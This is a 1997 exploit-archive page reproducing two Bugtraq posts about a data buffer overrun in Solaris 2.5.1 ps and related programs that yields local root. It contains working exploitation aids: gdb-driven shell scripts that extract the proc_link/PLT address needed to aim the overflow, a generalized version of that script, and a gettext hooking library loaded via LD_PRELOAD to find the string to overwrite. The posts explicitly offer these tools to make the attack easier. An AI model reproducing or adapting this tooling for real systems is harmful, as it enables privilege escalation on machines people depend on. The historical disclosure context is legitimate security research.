Program for exploiting data overrun conditions

Summary
Description:This isn't an exploit per se, (although, as mentioned in another exploit, it works for chkey and ps). Now you can exploit these overruns when you find them yourself!
Author:adam@math.tau.ac.il (Adam Morrison), Joe Zbiciak <jzbiciak@DALDD.SC.TI.COM> also contributed a useful script for finding the proc_link value for an overflow.
Compromise: root (local)
Vulnerable Systems:This program works for Solaris on SPARC. Other OSes are vulnerable to similar overflows, although this program obviously won't work.
Date:19 May 1997
Notes:I've included Adam Morrison's original post as well as Joe Zbiciak's supplimentary script below.
Details


Date: Mon, 19 May 1997 14:52:24 -0500
From: Joe Zbiciak <jzbiciak@DALDD.SC.TI.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: Shortcut for setting "proc_link" in ps exploit

All,

A number of you have written saying that the exploit doesn't work.
The biggest problem is that the exploit relies on a very specific
address (which I put in the proc_link variable) in order to work.

(Incidentally, as some have noted, there was a stray '*' in one of
the versions I sent out which causes some warnings to be generated.
Change "u_long *proc_link=..." to "u_long proc_link=..." if this
bothers you.  The warnings are benign in this case.)

The following shortcut seems to work for finding the value for
the bothersome proc_link variable.  You don't need to be a gdb whiz
to do this:

$ gdb ./ps
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (sparc-sun-solaris2.4),
Copyright 1996 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) break exit
Breakpoint 1 at 0x25244
(gdb) run
Starting program: /home3/student/im14u2c/c/./ps
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...Breakpoint 1 at 0xef7545c0
(no debugging symbols found)...   PID TTY      TIME CMD
  9840 pts/27   0:01 ps
 19499 pts/27   0:10 bash
  9830 pts/27   0:02 gdb

Breakpoint 1, 0xef7545c0 in exit ()
(gdb) disassemble exit
Dump of assembler code for function exit:
0xef7545c0 <exit>:      call  0xef771408 <_PROCEDURE_LINKAGE_TABLE_+7188>
0xef7545c4 <exit+4>:    nop
0xef7545c8 <exit+8>:    mov  1, %g1
0xef7545cc <exit+12>:   ta  8
End of assembler dump.
(gdb)

The magic number is in the "call" above: 0xef771408.

For the extremely lazy, the following shell script worked for me to
extract this value from the noise.  Your Mileage May Vary.

--- extract_proc_link.sh
#!/bin/sh

cp /usr/bin/ps ./ps
FOO="`cat << E_O_F | gdb ./ps | grep PROC | cut -d: -f2 | cut -d\< -f1
break exit
run
disassemble exit
quit
y
E_O_F
`"

rm -f ./ps

set $FOO foo

[ -f "$1" = "foo" ] && echo "Try something else" && exit 1;

echo "  u_long proc_link=$2;"
--- EOF

Note, this sets the proc_link variable to the routine "exit" calls, so
you will probably get garbage on your screen when the exploit runs.
Solution: To it from an xterm or something which lets you do a "reset"
to nullify the action of the control characters in the exploit.

Incidentally, it appears that /usr/ucb/ps is equally succeptable to this
hole, except the vulnerability is on the -t argument, and the string
grokked by gettext is different, so the "ps_expl.po" file needs to be
changed slightly.  Fortunately, "environ" and "proc_link" are pretty
much the same.  (Use the "extract" script above on /usr/ucb/ps, etc.)

The remainder this is left as an exercise for the reader.

Enjoy,

--Joe

--
 +--------------Joseph Zbiciak--------------+
 |- - - - jzbiciak@daldd.sc.ti.com - - - - -|
 | - - http://ee1.bradley.edu/~im14u2c/ - - |      Not your average "Joe."
 |- - - - Texas Instruments,  Dallas - - - -|
 +-------#include <std_disclaimer.h>--------+

Date: Mon, 19 May 1997 15:13:08 -0500
From: Joe Zbiciak <jzbiciak@DALDD.SC.TI.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Finally, most of an exploit for Solaris 2.5.1's ps.

'Adam Morrison' said previously:
| Uh, the joys of not keeping up with my mail.  I've already seen your full
| exploit, but I thought you might still find some interest in this.
|
| > I finally managed to construct most of an exploit for Solaris'
| > /usr/bin/ps.  This exploit does *not* use the getopt()/argv[0] hole.
| > Rather, it uses the buffer overrun I isolated a couple weeks ago.  I've
| > sent a copy of this to Casper Dik over at Sun as well; hopefully he's
| > convinced now that a proper patch for Solaris 2.5.1 is a good idea.
|
| The latest version of Sun patch 103612 has fixes for getopt() overrun, as
| well as the ones in getpwnam_r() and getgrnam_r() and some others.

Yeah, several have pointed that patch out to me; it doesn't fix the
bug this exploit hits.

| It may not be as unique as you think; because of the way most source code
| looks like, almost any program that uses stdio(3S) has iob[] after any
| variables declared in the program.  Thus, this is really the cookie cutter
| data buffer overrun -- it only takes more brains to use.  A classical
| example of this hole is in chkey(1).

Well, it was unique as compared to the 1000s of "stack smash" exploits
out there.  :-)  It does take more brains to use -- until now.  The
following script extracts the address for "exit" which you've left
as an "exercise to the reader":

--- extract_proc_link.sh
#!/bin/sh

cp /usr/bin/ps ./ps
FOO="`cat << E_O_F | gdb ./ps | grep PROC | cut -d: -f2 | cut -d\< -f1
break exit
run
disassemble exit
quit
y
E_O_F
`"

rm -f ./ps

set $FOO foo

[ -f "$1" = "foo" ] && echo "Try something else" && exit 1;

echo "  u_long proc_link=$2;"
--- EOF

A more generalized version probably would look like this (although I
haven't tested it):

--- extract_plt.sh
#!/bin/sh
# $1 == program you want to probe
# $2 == procedure whose PLT entry address you want

[ -z "$1" ] && echo "usage: $0 file_to_extract_from plt_to_extract" && exit 0

cp $1 ./bugger
FOO="`cat << E_O_F | gdb ./bugger | grep PROC | cut -d: -f2 | cut -d\< -f1
break $2
run
disassemble $2
quit
y
E_O_F
`"

rm -f ./bugger

set $FOO foo

[ -f "$1" = "foo" ] && echo "Try something else" && exit 1;

echo "The PLT entry you want is at $2"
--- EOF


| You might experience problems with this approach; I don't remember the
| exact difficulties I had, but essentially the dynamic loader faulted when
| the first few entries of the PLT ``rug'' got pulled out from under it when
| an stdio function overwrote them.

Well, if you smash some of the early entries in the PLT, you end up
wrecking some other calls (like mutex related stuff) which get called
from deep in the bowels of the library.

Out of curiosity, when did you write this "stdioflow" program?

| If you don't mess with environ from within your program (instead, do a
| setenv from the shell and then run your exploit) and play with your
| arguments nicely, its value should not change.

The real fix:  use execle(), which sets environ *exactly*.  :-)  Then
it doesn't move from user-to-user.

| This gettext() trick is really something I hadn't thought of.  I don't think
| it should be too difficult.  I will add it to my program.

The "msgfmt" command builds the file for you.  How nice!  :-)  But, to
find out what string to grok, I use the following "pseudo library":

--- hook_gettext.c
char * textdomain(char * c)
{
        printf("textdomain(%s)\n",c);
        return c;
}

char * gettext(char * c)
{
        static char *s="FOO BAR";

        printf("gettext(%s)\n",c);
        return s;
}
char * dgettext(char * c)
{
        static char *s="FOO BAR";

        printf("dgettext(%s)\n",c);
        return s;
}
char * dcgettext(char * c)
{
        static char *s="FOO BAR";

        printf("dcgettext(%s)\n",c);
        return s;
}
--- EOF

I then compile like so:

$ gcc -c hook_gettext.c
$ ld -G -o hook_gettext.so hook_gettext.o

And then, I use it like so:

$ export LD_PRELOAD=`pwd`/hook_gettext.so

Of course, you have to have a non-suid copy of the program you're
buggering around so the LD_PRELOAD works.

| Lest anyone say that this is a Solaris only problem, I note that the BSD
| FILE structure contains function pointers, so exploiting a similar overrun
| condition there would be trivial.

Whee.


Regards,

--Joe

--
 +--------------Joseph Zbiciak--------------+
 |- - - - jzbiciak@daldd.sc.ti.com - - - - -|
 | - - http://ee1.bradley.edu/~im14u2c/ - - |      Not your average "Joe."
 |- - - - Texas Instruments,  Dallas - - - -|
 +-------#include <std_disclaimer.h>--------+

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: